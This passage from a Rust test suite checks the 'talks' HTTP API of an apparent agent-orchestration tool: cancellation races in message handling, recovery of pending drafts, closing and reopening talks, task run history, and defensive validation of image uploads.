15182    /// aborting samples a range of points the task's execution can be at,
15183    /// including where the old code sat waiting on its second disk round
15184    /// trip - confirmed by reverting this fix locally and watching this same
15185    /// sweep catch a talk stuck with the operator's turn recorded and no
15186    /// reply ever following.
15187    #[tokio::test]
15188    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15189        let tmp = TempDir::new().expect("tempdir");
15190        let repo = tmp.path().join("repo");
15191        std::fs::create_dir_all(&repo).expect("repo dir");
15192        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15193        let home = TempDir::new().expect("temp home");
15194        let talks = Talks::at(home.path().join("talks"));
15195        let ui = Arc::new(
15196            Ui::new(
15197                Queue::at(home.path().join("queue")),
15198                Questions::at(home.path().join("questions")),
15199                talks.clone(),
15200                home.path().join("runs"),
15201                home.path().to_path_buf(),
15202                repo.clone(),
15203            )
15204            .with_worktrees_root(home.path().join("wt")),
15205        );
15206        let cfg = config_for(&repo).await.expect("discover config");
15207
15208        for delay in 0..40u32 {
15209            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15210            let id = talk.id.clone();
15211
15212            let handler = tokio::spawn(talk_say(
15213                State(Arc::clone(&ui)),
15214                Path(id.clone()),
15215                Ok(Json(NewTalkTurn {
15216                    reply_to: None,
15217                    text: "what does the queue module do?".to_owned(),
15218                    attachments: Vec::new(),
15219                })),
15220            ));
15221            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15222            handler.abort();
15223            // Wait out the abort so the next iteration's talk does not race
15224            // this one's still-unwinding turn guard.
15225            let _ = handler.await;
15226
15227            let mut turns = 0;
15228            for _ in 0..SETTLE_STEPS {
15229                if let Ok(fresh) = talks.get(&id) {
15230                    turns = fresh.turns.len();
15231                    if turns != 1 {
15232                        break;
15233                    }
15234                }
15235                tokio::time::sleep(Duration::from_millis(10)).await;
15236            }
15237            assert_ne!(
15238                turns, 1,
15239                "delay {delay}: talk {id} recorded the operator's turn but \
15240                 the agent never answered - the reply task was never \
15241                 started after the handler future was dropped"
15242            );
15243        }
15244    }
15245
15246    /// The same drop, landing on `talk_say`'s other durable write.
15247    ///
15248    /// When a turn is already running, the busy branch persists the
15249    /// operator's text as a queued draft and then reclaims the turn slot if
15250    /// the holder gave it up in the meantime - and whoever reclaims owes that
15251    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15252    /// which finishes whether or not the future awaiting it is still there,
15253    /// so a handler dropped at that `.await` used to leave the draft written
15254    /// to disk with the reclaimed guard dropped unread and no drainer ever
15255    /// started: the message sat queued until some unrelated later `say`
15256    /// happened to pick it up.
15257    ///
15258    /// This used to drive the handler future by hand, polling it a fixed
15259    /// number of times to park it at the `.await` where it asks for the turn
15260    /// and finds it busy, before the reclaim's slot-free case could be set up
15261    /// underneath it. That assumed a fixed number of polls lands at a fixed
15262    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15263    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15264    /// poll, so any number of this handler's several `blocking` awaits can
15265    /// collapse into one poll under load, landing the drive somewhere other
15266    /// than intended - including, occasionally, straight past the handler's
15267    /// own completion, which made polling it again panic with "async fn
15268    /// resumed after completion". No poll count fixes that; the handler's
15269    /// progress simply is not something a caller outside it can observe by
15270    /// counting.
15271    ///
15272    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15273    /// inside the write itself, so the interleaving under test is pinned by
15274    /// an event instead of a guess: the gate fires only once the handler has
15275    /// actually decided `Busy` and is about to persist the draft, and it
15276    /// blocks that write until the test lets it through. Between those two
15277    /// moments the test drains the turn the handler found busy - through
15278    /// `drain_loop`, the protocol's other half - and then aborts the handler
15279    /// task outright, the same way axum drops a disconnected request's
15280    /// future. The write, and the reclaim it may do, run to completion
15281    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15282    /// to the runtime before ever touching the gate, wholly independent of
15283    /// whether the handler that started it is still around - which is what
15284    /// this test is actually checking. A drainer other than that reclaim
15285    /// cannot exist here: the test's own `drain_loop` call happens before the
15286    /// gate opens, so it runs while the queue is still empty and hands the
15287    /// turn straight back rather than draining anything, closing off the
15288    /// possibility of the final assertion passing without the reclaim ever
15289    /// having done its job.
15290    #[tokio::test]
15291    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15292        let tmp = TempDir::new().expect("tempdir");
15293        let repo = tmp.path().join("repo");
15294        std::fs::create_dir_all(&repo).expect("repo dir");
15295        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15296        let home = TempDir::new().expect("temp home");
15297        let talks = Talks::at(home.path().join("talks"));
15298        let ui = Arc::new(
15299            Ui::new(
15300                Queue::at(home.path().join("queue")),
15301                Questions::at(home.path().join("questions")),
15302                talks.clone(),
15303                home.path().join("runs"),
15304                home.path().to_path_buf(),
15305                repo.clone(),
15306            )
15307            .with_worktrees_root(home.path().join("wt")),
15308        );
15309        let cfg = config_for(&repo).await.expect("discover config");
15310
15311        for attempt in 0..3u32 {
15312            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15313            let id = talk.id.clone();
15314            // A turn is already running, which is what sends `talk_say` down
15315            // the busy branch.
15316            let turn_guard = ui
15317                .begin_talk_turn(&id)
15318                .expect("claim the turn")
15319                .expect("a fresh talk owes nobody a turn");
15320
15321            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15322            let (release_tx, release_rx) = std::sync::mpsc::channel();
15323            ui.set_busy_queue_gate(BusyQueueGate {
15324                reached: reached_tx,
15325                release: release_rx,
15326            });
15327
15328            let handler = tokio::spawn(talk_say(
15329                State(Arc::clone(&ui)),
15330                Path(id.clone()),
15331                Ok(Json(NewTalkTurn {
15332                    reply_to: None,
15333                    text: "what does the queue module do?".to_owned(),
15334                    attachments: Vec::new(),
15335                })),
15336            ));
15337
15338            // Wait for the busy branch to actually reach the gate, rather
15339            // than for any fixed number of polls of anything - a bounded
15340            // wait rather than a bare `.await` so a regression that never
15341            // reaches the gate fails the test instead of hanging it.
15342            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15343                .await
15344                .unwrap_or_else(|_| {
15345                    panic!(
15346                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15347                    )
15348                })
15349                .expect("the busy branch dropped the gate without using it");
15350            assert!(
15351                crate::consult::try_publication_guard(&talks, &id)
15352                    .expect("publication fence")
15353                    .is_none(),
15354                "a queued worker cannot promote text before its successor reservation is published"
15355            );
15356
15357            // A listener replacement queues its writer behind this accepted
15358            // mutation. Even disconnecting the HTTP caller must not release
15359            // admission before the write-to-worker handoff has completed.
15360            let closing = Arc::clone(&ui.admissions).write_owned();
15361            tokio::pin!(closing);
15362            std::future::poll_fn(|cx| {
15363                assert!(closing.as_mut().poll(cx).is_pending());
15364                std::task::Poll::Ready(())
15365            })
15366            .await;
15367            assert!(
15368                ui.begin_admission().is_err(),
15369                "replacement blocks later admissions"
15370            );
15371
15372            // The turn that was running now finishes and gives the slot up
15373            // the way a real one does - through `drain_loop`, which finds
15374            // nothing queued yet (the write is still held at the gate) and
15375            // releases. The handler, parked inside `spawn_blocking` on the
15376            // other side of the gate, still believes the talk is busy -
15377            // exactly the interleaving the reclaim exists for.
15378            let running = talks.get(&id).expect("reload talk");
15379            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15380
15381            // Drop the handler future now, the way a reloading phone drops
15382            // it: suspended waiting on the busy branch's answer, having
15383            // itself made no more progress since it handed the write off.
15384            handler.abort();
15385            let _ = handler.await;
15386            std::future::poll_fn(|cx| {
15387                assert!(
15388                    closing.as_mut().poll(cx).is_pending(),
15389                    "HTTP cancellation must not abandon a publishing transaction"
15390                );
15391                std::task::Poll::Ready(())
15392            })
15393            .await;
15394            assert!(
15395                crate::consult::try_publication_guard(&talks, &id)
15396                    .expect("publication fence after disconnect")
15397                    .is_none()
15398            );
15399
15400            // Only now let the gated write proceed. It persists the draft
15401            // and reclaims the now-free slot from inside the task the busy
15402            // branch already spawned - unaffected by the handler's abort
15403            // above, since that task was independent of the handler's own
15404            // future from the moment it was spawned.
15405            let _ = release_tx.send(());
15406            drop(
15407                tokio::time::timeout(Duration::from_secs(5), closing)
15408                    .await
15409                    .expect("short admission transaction should release for replacement"),
15410            );
15411            assert!(
15412                crate::consult::try_publication_guard(&talks, &id)
15413                    .expect("publication fence after acknowledgement")
15414                    .is_some(),
15415                "the publication fence is not retained by the long response"
15416            );
15417
15418            // A settled talk: the draft drained into an operator turn and
15419            // answered.
15420            let mut fresh = talks.get(&id).expect("reload talk");
15421            for _ in 0..SETTLE_STEPS {
15422                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15423                    break;
15424                }
15425                tokio::time::sleep(Duration::from_millis(10)).await;
15426                fresh = talks.get(&id).expect("reload talk");
15427            }
15428            assert!(
15429                fresh.pending.is_empty() && fresh.turns.len() == 2,
15430                "attempt {attempt}: talk {id} left the operator's text queued \
15431                 with no drainer - the reclaimed turn was dropped along with \
15432                 the handler future (pending {:?}, {} turns)",
15433                fresh.pending,
15434                fresh.turns.len()
15435            );
15436        }
15437    }
15438
15439    #[tokio::test]
15440    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15441        let (_tmp, _repo, f) = talk_fixture().await;
15442        let id = f.post("/api/talks", None).await.json()["id"]
15443            .as_str()
15444            .expect("id")
15445            .to_owned();
15446        let store = f.talks();
15447        let mut recovered = store.get(&id).expect("opened talk");
15448        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15449            .expect("persist pending draft without a live turn");
15450
15451        let edited = f
15452            .post(
15453                &format!("/api/talks/{id}/pending/edit"),
15454                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15455            )
15456            .await;
15457        assert_eq!(edited.status, 200, "{}", edited.body);
15458        assert!(edited.json()["thinking"].as_bool().unwrap());
15459
15460        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15461        for _ in 0..SETTLE_STEPS {
15462            if detail["turns"].as_array().expect("turns").len() == 2 {
15463                break;
15464            }
15465            tokio::time::sleep(Duration::from_millis(10)).await;
15466            detail = f.get(&format!("/api/talks/{id}")).await.json();
15467        }
15468        let turns = detail["turns"].as_array().expect("turns");
15469        assert_eq!(
15470            turns.len(),
15471            2,
15472            "the recovered draft must run once: {detail}"
15473        );
15474        assert_eq!(turns[0]["body"], "corrected");
15475        assert_eq!(detail["pending"], "");
15476    }
15477
15478    #[tokio::test]
15479    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15480        let tmp = TempDir::new().expect("tempdir");
15481        let repo = tmp.path().join("repo");
15482        std::fs::create_dir_all(&repo).expect("repo dir");
15483        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15484        let f = Fixture::with_repo(repo).await;
15485        let id = f.post("/api/talks", None).await.json()["id"]
15486            .as_str()
15487            .expect("id")
15488            .to_owned();
15489        let store = f.talks();
15490        let mut recovered = store.get(&id).expect("opened talk");
15491        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15492            .expect("persist pending draft without a live turn");
15493
15494        let refused = f
15495            .post(
15496                &format!("/api/talks/{id}/say"),
15497                Some(r#"{"text":"new message"}"#),
15498            )
15499            .await;
15500        assert_eq!(refused.status, 409, "{}", refused.body);
15501        assert!(refused.body.contains("resume"), "{}", refused.body);
15502        let saved = store.get(&id).expect("draft remains after refusal");
15503        assert!(saved.turns.is_empty());
15504        assert_eq!(saved.pending, "saved before restart");
15505
15506        let say_path = format!("/api/talks/{id}/say");
15507        let (first, second) = tokio::join!(
15508            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15509            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15510        );
15511        assert_eq!(first.status, 409, "{}", first.body);
15512        assert_eq!(second.status, 409, "{}", second.body);
15513        let saved = store
15514            .get(&id)
15515            .expect("draft remains after concurrent refusals");
15516        assert!(saved.turns.is_empty());
15517        assert_eq!(saved.pending, "saved before restart");
15518
15519        let resumed = f
15520            .post(&format!("/api/talks/{id}/pending/resume"), None)
15521            .await;
15522        assert_eq!(resumed.status, 202, "{}", resumed.body);
15523        let duplicate = f
15524            .post(&format!("/api/talks/{id}/pending/resume"), None)
15525            .await;
15526        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15527
15528        for _ in 0..SETTLE_STEPS {
15529            if store.get(&id).expect("talk").turns.len() == 2 {
15530                break;
15531            }
15532            tokio::time::sleep(Duration::from_millis(10)).await;
15533        }
15534        let finished = store.get(&id).expect("finished talk");
15535        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15536        assert_eq!(finished.turns[0].body, "saved before restart");
15537        assert!(finished.pending.is_empty());
15538    }
15539
15540    #[tokio::test]
15541    async fn an_image_only_recovered_draft_resumes_without_text() {
15542        let (_tmp, _repo, f) = talk_fixture().await;
15543        let id = f.post("/api/talks", None).await.json()["id"]
15544            .as_str()
15545            .expect("id")
15546            .to_owned();
15547        let uploaded = f
15548            .post_bytes(
15549                &format!("/api/talks/{id}/attachments"),
15550                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15551                PNG_BYTES,
15552            )
15553            .await;
15554        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15555        let attachment = f
15556            .talks()
15557            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15558            .expect("attachment metadata")
15559            .expect("stored attachment");
15560        let store = f.talks();
15561        let mut recovered = store.get(&id).expect("opened talk");
15562        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15563
15564        let resumed = f
15565            .post(&format!("/api/talks/{id}/pending/resume"), None)
15566            .await;
15567        assert_eq!(resumed.status, 202, "{}", resumed.body);
15568        for _ in 0..SETTLE_STEPS {
15569            if store.get(&id).expect("talk").turns.len() == 2 {
15570                break;
15571            }
15572            tokio::time::sleep(Duration::from_millis(10)).await;
15573        }
15574        let finished = store.get(&id).expect("finished talk");
15575        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15576        assert!(finished.turns[0].body.is_empty());
15577        assert_eq!(finished.turns[0].attachments.len(), 1);
15578        assert!(finished.pending_attachments.is_empty());
15579    }
15580
15581    #[tokio::test]
15582    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15583        let (_tmp, _repo, f) = talk_fixture().await;
15584        let id = f.post("/api/talks", None).await.json()["id"]
15585            .as_str()
15586            .expect("id")
15587            .to_owned();
15588        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15589        assert_eq!(closed.status, 200, "{}", closed.body);
15590        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15591            .expect("serialize closed talk");
15592        for (path, body) in [
15593            (format!("/api/talks/{id}/pending/resume"), None),
15594            (
15595                format!("/api/talks/{id}/pending/clear"),
15596                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15597            ),
15598            (
15599                format!("/api/talks/{id}/pending/edit"),
15600                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15601            ),
15602            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15603        ] {
15604            let response = f.post(&path, body).await;
15605            assert_eq!(response.status, 409, "{}", response.body);
15606        }
15607        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15608            .expect("serialize closed talk");
15609        assert_eq!(
15610            after_clear, before_clear,
15611            "clear must not rewrite a closed talk"
15612        );
15613    }
15614
15615    /// Keeps both claims observable long enough to exercise the distinction
15616    /// between one busy talk and a globally locked Chat surface.
15617    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15618
15619    #[tokio::test]
15620    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15621        let tmp = TempDir::new().expect("tempdir");
15622        let repo = tmp.path().join("repo");
15623        std::fs::create_dir_all(&repo).expect("repo dir");
15624        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15625        let f = Fixture::with_repo(repo).await;
15626        let id_a = f.post("/api/talks", None).await.json()["id"]
15627            .as_str()
15628            .unwrap()
15629            .to_owned();
15630        let id_b = f.post("/api/talks", None).await.json()["id"]
15631            .as_str()
15632            .unwrap()
15633            .to_owned();
15634
15635        let a = f
15636            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15637            .await;
15638        assert_eq!(a.status, 202, "{}", a.body);
15639        assert_eq!(a.json()["thinking"], true);
15640        let b = f
15641            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15642            .await;
15643        assert_eq!(b.status, 202, "{}", b.body);
15644        assert_eq!(b.json()["thinking"], true);
15645
15646        let listed = f.get("/api/talks").await.json();
15647        for id in [&id_a, &id_b] {
15648            let view = listed
15649                .as_array()
15650                .unwrap()
15651                .iter()
15652                .find(|talk| talk["id"] == *id)
15653                .unwrap();
15654            assert_eq!(view["thinking"], true, "{listed}");
15655        }
15656        let repeated = f
15657            .post(
15658                &format!("/api/talks/{id_a}/say"),
15659                Some(r#"{"text":"again"}"#),
15660            )
15661            .await;
15662        assert_eq!(repeated.status, 202, "{}", repeated.body);
15663        assert_eq!(repeated.json()["pending"], "again");
15664    }
15665
15666    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15667    /// few more, since real uploads are never exactly eight bytes.
15668    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15669
15670    #[tokio::test]
15671    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15672        let f = Fixture::start().await;
15673        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15674
15675        let res = f
15676            .post_bytes(
15677                &format!("/api/talks/{id}/attachments"),
15678                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15679                PNG_BYTES,
15680            )
15681            .await;
15682        assert_eq!(res.status, 201, "{}", res.body);
15683        let body = res.json();
15684        assert_eq!(body["name"], "shot.png");
15685        assert_eq!(body["mime"], "image/png");
15686        assert_eq!(body["bytes"], PNG_BYTES.len());
15687        let att_id = body["id"].as_str().expect("id").to_owned();
15688        assert_eq!(
15689            att_id.len(),
15690            32,
15691            "the id must never be a client-suppliable path: {att_id}"
15692        );
15693
15694        let got = f
15695            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15696            .await;
15697        assert_eq!(got.status, 200, "{}", got.body);
15698        assert_eq!(got.header("content-type"), Some("image/png"));
15699        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15700        assert_eq!(got.bytes, PNG_BYTES);
15701    }
15702
15703    #[tokio::test]
15704    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15705        let f = Fixture::start().await;
15706        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15707
15708        // SVG can carry a `<script>`, so it is never on the whitelist even
15709        // though it is a real IANA image type.
15710        let svg = f
15711            .post_bytes(
15712                &format!("/api/talks/{id}/attachments"),
15713                &[("Content-Type", "image/svg+xml")],
15714                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15715            )
15716            .await;
15717        assert!(
15718            (400..500).contains(&svg.status),
15719            "svg must be refused: {} {}",
15720            svg.status,
15721            svg.body
15722        );
15723        assert!(svg.body.contains("SVG"), "{}", svg.body);
15724
15725        let text = f
15726            .post_bytes(
15727                &format!("/api/talks/{id}/attachments"),
15728                &[("Content-Type", "text/plain")],
15729                b"just some text",
15730            )
15731            .await;
15732        assert!(
15733            (400..500).contains(&text.status),
15734            "an unlisted type must be refused: {} {}",
15735            text.status,
15736            text.body
15737        );
15738
15739        // The declared type is a real png, but the size check runs before
15740        // the bytes are even looked at.
15741        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15742        let big = f
15743            .post_bytes(
15744                &format!("/api/talks/{id}/attachments"),
15745                &[("Content-Type", "image/png")],
15746                &oversized,
15747            )
15748            .await;
15749        assert_eq!(
15750            big.status,
15751            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15752            "{}",
15753            big.body
15754        );
15755    }
15756
15757    #[tokio::test]
15758    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15759        let f = Fixture::start().await;
15760        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15761
15762        // A whitelisted `Content-Type`, but bytes that are not actually a
15763        // png - the declared header alone is never trusted.
15764        let res = f
15765            .post_bytes(
15766                &format!("/api/talks/{id}/attachments"),
15767                &[("Content-Type", "image/png")],
15768                b"<html>not a picture</html>",
15769            )
15770            .await;
15771        assert!((400..500).contains(&res.status), "{}", res.body);
15772    }
15773
15774    #[tokio::test]
15775    async fn an_unknown_attachment_id_is_a_404() {
15776        let f = Fixture::start().await;
15777        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15778
15779        let res = f
15780            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15781            .await;
15782        assert_eq!(res.status, 404, "{}", res.body);
15783    }
15784
15785    #[tokio::test]
15786    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15787        let f = Fixture::start().await;
15788        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15789
15790        let uploaded = f
15791            .post_bytes(
15792                &format!("/api/talks/{id}/attachments"),
15793                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15794                PNG_BYTES,
15795            )
15796            .await;
15797        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15798        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15799
15800        let res = f
15801            .post(
15802                &format!("/api/talks/{id}/say"),
15803                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15804            )
15805            .await;
15806        assert_eq!(res.status, 202, "{}", res.body);
15807        let queued = res.json();
15808        let turns = queued["turns"].as_array().expect("turns array");
15809        assert_eq!(
15810            turns.len(),
15811            1,
15812            "an empty body with an attachment is still a turn: {queued}"
15813        );
15814        assert_eq!(turns[0]["who"], "operator");
15815        assert_eq!(turns[0]["body"], "");
15816        let atts = turns[0]["attachments"]
15817            .as_array()
15818            .expect("attachments array");
15819        assert_eq!(atts.len(), 1);
15820        assert_eq!(atts[0]["id"], att_id);
15821        assert_eq!(atts[0]["mime"], "image/png");
15822
15823        // Not only in the response: `record` flushes to disk before the
15824        // agent's own turn is even spawned.
15825        let on_disk = f.talks().get(&id).expect("get");
15826        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15827        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15828    }
15829
15830    #[tokio::test]
15831    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15832        let f = Fixture::start().await;
15833        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15834
15835        let res = f
15836            .post(
15837                &format!("/api/talks/{id}/say"),
15838                Some(&format!(
15839                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15840                    "a".repeat(32)
15841                )),
15842            )
15843            .await;
15844        assert!((400..500).contains(&res.status), "{}", res.body);
15845        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15846
15847        let on_disk = f.talks().get(&id).expect("get");
15848        assert!(
15849            on_disk.turns.is_empty(),
15850            "a rejected attachment id must not partially record the turn: {:?}",
15851            on_disk.turns
15852        );
15853    }
15854
15855    #[tokio::test]
15856    async fn talk_close_makes_the_talk_refuse_further_turns() {
15857        let f = Fixture::start().await;
15858        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15859
15860        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15861        assert_eq!(closed.status, 200, "{}", closed.body);
15862        assert_eq!(closed.json()["status"], "closed");
15863
15864        // Idempotent: closing an already-closed talk is not an error.
15865        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15866        assert_eq!(closed_again.status, 200);
15867        assert_eq!(closed_again.json()["status"], "closed");
15868
15869        let said = f
15870            .post(
15871                &format!("/api/talks/{id}/say"),
15872                Some(r#"{"text":"too late"}"#),
15873            )
15874            .await;
15875        assert_eq!(said.status, 409, "{}", said.body);
15876    }
15877
15878    #[tokio::test]
15879    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15880        let (_tmp, _repo, f) = talk_fixture().await;
15881        let id = f.post("/api/talks", None).await.json()["id"]
15882            .as_str()
15883            .expect("id")
15884            .to_owned();
15885        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15886        assert_eq!(closed.status, 200, "{}", closed.body);
15887
15888        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15889        assert_eq!(reopened.status, 200, "{}", reopened.body);
15890        assert_eq!(reopened.json()["status"], "open");
15891
15892        // Idempotent: reopening an already-open talk is not an error.
15893        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15894        assert_eq!(reopened_again.status, 200);
15895        assert_eq!(reopened_again.json()["status"], "open");
15896
15897        let said = f
15898            .post(
15899                &format!("/api/talks/{id}/say"),
15900                Some(r#"{"text":"still there?"}"#),
15901            )
15902            .await;
15903        assert_eq!(
15904            said.status, 202,
15905            "a reopened talk accepts turns again: {}",
15906            said.body
15907        );
15908    }
15909
15910    #[tokio::test]
15911    async fn talk_reopen_on_an_unknown_id_is_404() {
15912        let f = Fixture::start().await;
15913        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15914        assert_eq!(res.status, 404, "{}", res.body);
15915    }
15916
15917    #[tokio::test]
15918    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15919        let f = Fixture::start().await;
15920        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15921
15922        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15923        assert_eq!(deleted.status, 204, "{}", deleted.body);
15924
15925        let after = f.get(&format!("/api/talks/{id}")).await;
15926        assert_eq!(after.status, 404, "{}", after.body);
15927
15928        let listed = f.get("/api/talks").await.json();
15929        assert!(
15930            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15931            "a deleted talk must not linger in the list: {listed}"
15932        );
15933    }
15934
15935    #[tokio::test]
15936    async fn talk_delete_on_an_unknown_id_is_404() {
15937        let f = Fixture::start().await;
15938        let res = f.delete("/api/talks/nonexistent-id").await;
15939        assert_eq!(res.status, 404, "{}", res.body);
15940    }
15941
15942    /// A task's page lists every run it ever had, in order, and says what kind
15943    /// of attempt each was - including a resume, which re-pushes the same run
15944    /// id, and a run whose record this build cannot read.
15945    #[tokio::test]
15946    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15947        let f = Fixture::start().await;
15948        let (a, b, gone) = (
15949            "20260902-140501-aaaa",
15950            "20260902-140502-bbbb",
15951            "20260902-140503-cccc",
15952        );
15953        write_run(&f.runs(), a, RunStatus::Stalled);
15954        let mut review = RunState::new(
15955            PathBuf::from("/repo/magi"),
15956            "main".to_owned(),
15957            "0123456789abcdef".to_owned(),
15958            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15959                .to_owned(),
15960            Config::default(),
15961        );
15962        review.id = b.to_owned();
15963        review.status = RunStatus::Merged;
15964        write_state(&f.runs(), &review);
15965
15966        let mut task = Task::new(
15967            "retry".to_owned(),
15968            "Do the thing".to_owned(),
15969            PathBuf::from("/repo/magi"),
15970            Source::Human,
15971        );
15972        task.start(a.to_owned());
15973        task.stall("quota");
15974        task.start(a.to_owned());
15975        task.start(b.to_owned());
15976        task.start(gone.to_owned());
15977        // This fixture models an older queue file with repeated run entries.
15978        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15979        f.queue().put(&mut task).expect("file the task");
15980
15981        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15982        assert_eq!(res.status, 200, "{}", res.body);
15983        let v = res.json();
15984        let h = v["history"].as_array().expect("history");
15985        assert_eq!(h.len(), 4, "{v}");
15986        assert_eq!(h[0]["kind"], "competition");
15987        assert_eq!(h[0]["status"], "stalled");
15988        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15989        assert_eq!(h[1]["kind"], "resume", "{v}");
15990        assert!(
15991            h[0]["outcome"]
15992                .as_str()
15993                .unwrap()
15994                .contains("unknown. Pass #2"),
15995            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15996        );
15997        assert!(
15998            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15999            "{v}"
16000        );
16001        assert!(
16002            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16003            "an unrecorded cause must not be narrated as an operator park: {v}"
16004        );
16005        assert_eq!(h[2]["kind"], "review");
16006        assert!(
16007            h[2]["description"]
16008                .as_str()
16009                .unwrap()
16010                .contains("magi/aaaa/A")
16011        );
16012        assert_eq!(h[2]["status"], "merged");
16013        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16014        assert_eq!(v["runs_unreadable"], 1);
16015        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16016        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16017        assert_eq!(nodes[4]["note"], "unreadable");
16018        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16019        assert_eq!(v["instruction"], "Do the thing");
16020        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16021
16022        // The run's own page links back to the task.
16023        let run = f.get(&format!("/api/runs/{a}")).await.json();
16024        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16025
16026        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16027    }
16028
16029    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16030        let mut s = RunState::new(
16031            PathBuf::from("/repo/magi"),
